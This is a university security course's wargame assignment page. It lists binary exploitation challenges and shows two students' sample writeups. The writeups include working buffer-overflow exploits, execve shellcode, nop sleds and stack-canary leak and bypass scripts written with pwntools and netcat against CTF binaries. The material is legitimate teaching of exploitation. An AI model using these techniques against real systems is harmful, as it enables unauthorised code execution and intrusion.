You can submit this task online or view your submission status if you are a part of this course when you login to WebCMS3.

Now with ASLR


Wargame Spec

The following wargames will provide you with exercises where you will be required to reverse the binary, figure out the vulnerability and write an exploit.

Please use the techniques learned in the lectures to exploit the challenges provided. These challenges closely mimic those that will be present in your final exam. If you are able to complete the challenges, you should be fine with the practical assessments in class (the exams).

Due Date: 14 September 2018 23:59:59

Binaries: https://cloudstor.aarnet.edu.au/plus/s/01o21KR2jOS...

Challenge Ref Binary Name Address
buffer-4 shellz
wargames.6447.sec.edu.au:5004
canary-3 stack-dump wargames.6447.sec.edu.au:6003
format-3 sploitwarz wargames.6447.sec.edu.au:7003
nx-1 piv_it wargames.6447.sec.edu.au:8001
nx-2 roproprop wargames.6447.sec.edu.au:8002
nx-3 swrop wargames.6447.sec.edu.au:8003
nx-4 static wargames.6447.sec.edu.au:8004
misc-1 simple misc.6447.sec.edu.au:8005
misc-2 egg misc.6447.sec.edu.au:8006

Same format as the mini-exam; reverse the binary; find the vulnerabillty, build an exploit and find the flag!

(All flags are stored in /flag)

ASLR is now on. A scoreboard is available at https://ctf.6447.sec.edu.au

Marking

As per the course outline, all the wargames collectively will be worth 20% of your final mark. Hence this set of wargames will be worth 5%.

The challenges i n each wargame set are all weighted equally.

The marking criteria per week is as follows:

  • 0.5 marks for following instructions
  • 0.2 marks for each flag
  • 0.3 marks for each writeup

Submission Instructions

A markdown document (.md) containing the following for each challenge.

We are interested in proof that you understood the challenge and how to exploit them. This is not intended as a formal bug report.

We will be automarking your flag submission so please make sure you include your flag in your submission like Zac below.

Please keep your writeups concise and visually pretty. I will start taking marks off from your "following instructions" mark if your markup is too long or not concise enough. Please do not include commented lines that don't need to be there. You can think of this like "style marks" from your other subjects.

Here is an good example of what your writeup should look like. (With permission from Zac)

Jump
===========================

General overview of problems faced
-------------------------------------
Had to build python2 from source like 4 times to get pwntools and it's dependancies to behave

List of vulnerabilities
--------------------
1. `gets(&buffer);` is used which will continue to read (and write) even if it overflows the 64 byte buffer

Steps to exploit
------------------
1. Get the win function address from the output of the binary
2. Fill the 64 byte buffer and then overwrite the return address at the end with the address of the win function

Script/Command used
------------------
``` python
#!/usr/bin/env python
from pwn import *

r = remote('localhost', 5001)
line = r.recvline().strip()         # Since they so kindly give us the addr in the intro
win_addr = line[line.find("0x"):]   # Let's make use of that

payload = "A"*64 + p32(int(win_addr, 0))
r.sendline(payload)
r.interactive()
```


`dummy-flag{buffer-1}`


Blind
===========================

General overview of problems faced
-------------------------------------
io seemed to mess up lots on this one, I couldn't get pwntools to work at all, nor could I print from python directly into the binary over netcat.

List of vulnerabilities
--------------------
1. Text segment is non relocatable, so I could jump to win whenever I liked by overwriting the return address.

Steps to exploit
------------------
1. Find size of buffer using pwntools cyclic
2. Get address of win function with `objdump -d blind`
3. Fill buffer and write return addr at the end

Script/Command used
------------------
``` bash
python -c 'from pwn import *; print( cyclic(76)  + "\xcd\x84\x04\x08")' > payload
cat payload - | nc localhost 5002
```

`dummy-flag{buffer-2}`

Runner
===========================

General overview of problems faced
-------------------------------------
I was fine getting a null terminated '/bin//sh' onto the stack, but from there I had no end of trouble. I couldn't get it to jump to system so I looked it up and apparently the convention is to call execve with the appropriate arguments. Since I already

List of vulnerabilities
--------------------
1. Program runs user provided code, doesn't get more vuln than that.

Steps to exploit
------------------
1. Load arguments for execve, being careful to build \x00s by xoring.
2. Nop-pad out to 512 bytes because the program wants exactly that.
3. Profit

Script/Command used
------------------
``` python
from pwn import *

context.update(os = 'linux', arch = 'i386', bits = 32, aslr = False, endian = 'little')

shellcode = asm('''
xor eax, eax
push eax
push 0x68732f2f
push 0x6e69622f
mov ebx, esp
push eax
mov edx, esp
push ebx
mov ecx, esp
mov al, 11
int 0x80''')

payload = asm('nop')*(512-len(shellcode)) + shellcode

r = remote('localhost', 5003)
r.send(payload)
r.interactive()
```

Then `cat flag` gets us
`dummy-flag{buffer-3}`

Elitecanary
===========================

General overview of problems faced
-------------------------------------
This one was actually not too bad. Disassembling check_canary was all I had to do.

List of vulnerabilities
--------------------
1. 'Canary' doesn't change, clearly visible in static analysis.

Steps to exploit
------------------
1. Observe '1337' being loaded in `mov    DWORD PTR [eax],0x73333313`
2. Use cyclic for your fuzzing and then set a break point on strcmp for v.lazy buffer size guessing
3. Send super simple payload

Script/Command used
------------------
``` bash
python -c 'print("A"*32 + "1337")' > elitecanary-payload
cat elitecanary-payload - | nc localhost 6001
```

`dummy-flag{canary-1}`

Shellcrack
===========================

General overview of problems faced
-------------------------------------
Had to write a pwntools script to get the output as hex and then resend it with the payload.

List of vulnerabilities
--------------------
1. DIY canary gets printed in intro greeting, written into user's buffer

Steps to exploit
------------------
1. Fuzz to figure out how far into the user's buffer the canary is being written
2. Catch canary as it's sent and incorporate into payload.
3. Nops-pad the payload and overwrite the return address to point back into our buffer (ty rwx)

Script/Command used
------------------
``` python
#!/usr/bin/env python2
# -*- coding: utf-8 -*-
from pwn import *

shellcode = asm('''
xor eax, eax
push eax
push 0x68732f2f
push 0x6e69622f
mov ebx, esp
push eax
mov edx, esp
push ebx
mov ecx, esp
mov al, 11
int 0x80''')

io = connect('localhost', 6002)
io.recvuntil('\n')

name = "abcdefghABCDEFG"
io.sendline(name)
io.recvuntil('G\n')
canary = io.recvuntil('!')
print("Canary is {}".format(canary))
winaddr = "0xffffdda0"
io.sendline(asm('NOP')*(48-len(shellcode)) + shellcode + canary + cyclic(18) + p32(int(winaddr, 0) + 10))

io.interactive()
```

`dummy-flag{canary-2}`

Here is another good example (With permission from Alex):

buffer-1 (jump)
======================

General Overview of problems faced
----------------------------
Had to work out the distance between the buffer and the variable where the
address to jump to was stored (manual testing with the provided binary found
that 64 buffer characters before the address achieved the desired result)

Had to remember to reverse the bytes in the address, as it's stored in
little-endian format

My initial semi-working command would successfully jump to the win function,
but as it closed stdout immediately after I would not be able to actually use the
shell that was opened. wingz on slack suggested `( python blah ; cat - ) | nc
blah` as a way to keep it open


List of vulnerabilities
----------------------------
1. The main function uses gets(), which is unsafe and allows overflow of any
   variables below it in the stack (including the function pointer that was
   being used immediately afterwards)

Steps to exploit
----------------------------
1. Enter a string with 64 buffer characters, followed by the bytes 0xd2 0x91
   0x04 0x08

Script/Command used
----------------------------
```
( python -c "print('A'*64 + '\xd2\x91\x04\x08')" ; cat -) | nc localhost 5001
```


buffer-2 (blind)
======================

General Overview of problems faced
----------------------------
Similar to buffer-2, with the only difference being that the address of the win
function is not given (i.e. had to find the address of the win function by
opening it in ida)

The function that the code goes to after finishing the main function is no
longer in a function pointer, but is just the return address, so finding the
offset from the buffer to the return address was also needed (found by locally
testing to find which lengths of string would cause the program to segfault)

List of vulnerabilities
----------------------------
As in buffer-1

Steps to exploit
----------------------------
1. Enter a string with 76 buffer characters, followed by the bytes 0xcd 0x84
   0x04 0x08

Script/Command used
----------------------------
```
( python -c "print('A'*76 + '\xcd\x84\x04\x08')" ; cat -) | nc localhost 5002
```


buffer-3 (runner)

General Overview of problems faced
----------------------------
The program just runs whatever is given by stdin, so the problem was just
creating shellcode

Needed to learn how to write shellcode (by looking at shellcode generated by
pwntools and writing my own somewhat simpler (but less robust) version based on
it

List of vulnerabilities
----------------------------
The program runs whatever is put into the buffer, allowing arbitrary code
execution

Steps to exploit
----------------------------
1. Write a file containing shellcode (either the bytes directly or by writing
   the assembly and assembling it with a program)

2. enter the contents of that file into the prompt

Script/Command used
----------------------------
The file with the assembly:
```
push 0x0068732f /* "/sh\0" */
push 0x6e68622f /* "/bin" */
mov ebx, esp /* get filename argument to point to the stack where we just put /bin/sh */
mov eax, SYS_execve /* syscall number */
xor ecx, ecx /* Don't need arguments */
xor edx, edx /* Don't care about environment */
int 0x80 /* start a syscall interrupt */
```

```
( python -c "from pwn import *; text = open('shellcode.asm').read();
print(asm(text))" ; cat - ) | nc localhost 5003
```



buffer-4 (shellz)

General Overview of problems faced
----------------------------
Needed to overwrite the return address

Needed to ensure that the value written to the return address resulted in the
shellcode being run (achieved with a nop sled taking up most of the buffer)


List of vulnerabilities
----------------------------
The program uses gets, which allows buffer overflow with no way to safeguard
against it

The stack itself (containing the buffer) is executable, so if the return address
is overwritten to point to the stack, whatever was written in the buffer can be
written


Steps to exploit
----------------------------
1. Write a file containing shellcode (done in buffer-3)

2. Enter a large number of text (generally '\x90' to make it easier to get the
   return address right) followed by the shellcode followed by the address of
   the buffer (at the return address)


Script/Command used
----------------------------
```
( python -c "from pwn import *; text = open('shellcode.asm').read();
print('\x90' * 0x1900 + asm(text) + '\x90' + '\x90\xcb\xff\xff' * 0x200" ; cat
-) | nc localhost 5004
```

canary-1 (elitecanary)

General Overview of problems faced
----------------------------
Needed to find the canary value that needed to be written (found by opening the
binary in IDA)


List of vulnerabilities
----------------------------
The program uses gets, which allows buffer overflow

The program will automatically open a shell if the canary variable is set to the
right value


Steps to exploit
----------------------------
1. Enter '1337' (the canary value) enough times to overwrite the canary variable



Script/Command used
----------------------------
```
( python -c "print('1337'*10)" ; cat -) | nc localhost 6001
```

canary-2 (shellcrack)

General Overview of problems faced
----------------------------
Needed to find the canary value, in order to write it back

Needed to set up a system to write and read to the server, while storing the
responses (as the canary is not necessarily made of easily typeable characters)

List of vulnerabilities
----------------------------
The program uses gets, which allows buffer overflow

When asking for the name, the program uses fread, which will not null terminate
the string if there is no null in the input data

The stack is executable


Steps to exploit
----------------------------
1. Enter a string 16 characters long when asked for the name (to get rid of any
   null terminators that might already happen to exist in the buffer

2. When the name (+ canary) gets printed out, store that value to print later

3. print a nopsled + shellcode exactly 48 characters long (to get to the
   canary), then the saved canary value, then enough characters to get to the
   address of the return address, followed by the address of the buffer


Script/Command used

----------------------------
```
#!/usr/bin/python
from pwn import *
r = remote('localhost', 6002)
r.recvline()
r.send('a'*15 + '\n')
r.recvline()
response = r.recvline()
shellcode = asm(open("shellcode.asm").read())
r.send('\x90'*(48-len(shellcode)) + shellcode + response[-11:-2] + 'A'*3 + '\x90\xdd\xff\xff' * 5 + '\n')
r.interactive()
```


canary-3 (stack-dump)

General Overview of problems faced
----------------------------
Needed to find the address of the canary value

Needed to store the original canary value, to write it back when finished

List of vulnerabilities
----------------------------
The program uses gets when asking for the length of the entered string, which allows buffer overflow

The ability to read arbitrary memory allows for reading the canary without too
much trouble

Steps to exploit
----------------------------
1. Receive the first two lines from the server, and remember the pointer from
   the second line

2. calculate the address of the canary by subtracting -0x6d and adding -0x4
   (i.e. the canary address is the pointer - 0x4 + 0x6d)

3. Enter the address of the canary using the 'input data' option

4. Read the current canary value with the 'dump memory' option and store that

5. Select the 'input data' option, and in the 'length' field enter enough
   characters (0x60) to get from the buffer to the canary, then the original
   canary value, then the address of the win function a couple of times to
   overwrite the return address

6. select the 'quit' option, and the program will return from main into the win
   function, giving a shell


Script/Command used

----------------------------
```
# In interactive python
from pwn import *
r = remote('localhost', 6003) # To connect
r.recvline()
r.recvline() # Gets the useful pointer
canary_ptr = # useful pointer + 0x6d - 0x4, written in reverse
r.interactive() # To go through unnecessary text
r.sendline('a')
r.sendline('4')
r.sendline(canary)
r.recvline() # To get the canary value
canary_val = # First 4 bytes from dump, in forward order
r.sendline('a')
r.sendline('A' * (0x64 - 0x4) + canary_val + '\xcd\x86\x04\x08' * 4)
r.interactive() # just send 'd' to quit and the shell is yours
```


Submission for Wargame 3:

give cs6447 war3 war3.md

Late submissions incur a 0.5 mark penalty per day on the maximum possible mark you can get. Eg. If you submit 4 days late, and your raw mark is 2/5, then you will still receive 2/5. If you submit 4 days late, and your raw mark 5/5, your adjusted mark will be 3/5.

Resource created Wednesday 29 August 2018, 04:55:15 PM, last modified Sunday 02 September 2018, 01:17:54 PM.


Back to top

COMP6447 18s2 (System and Software Security Assessment) is powered by WebCMS3
CRICOS Provider No. 00098G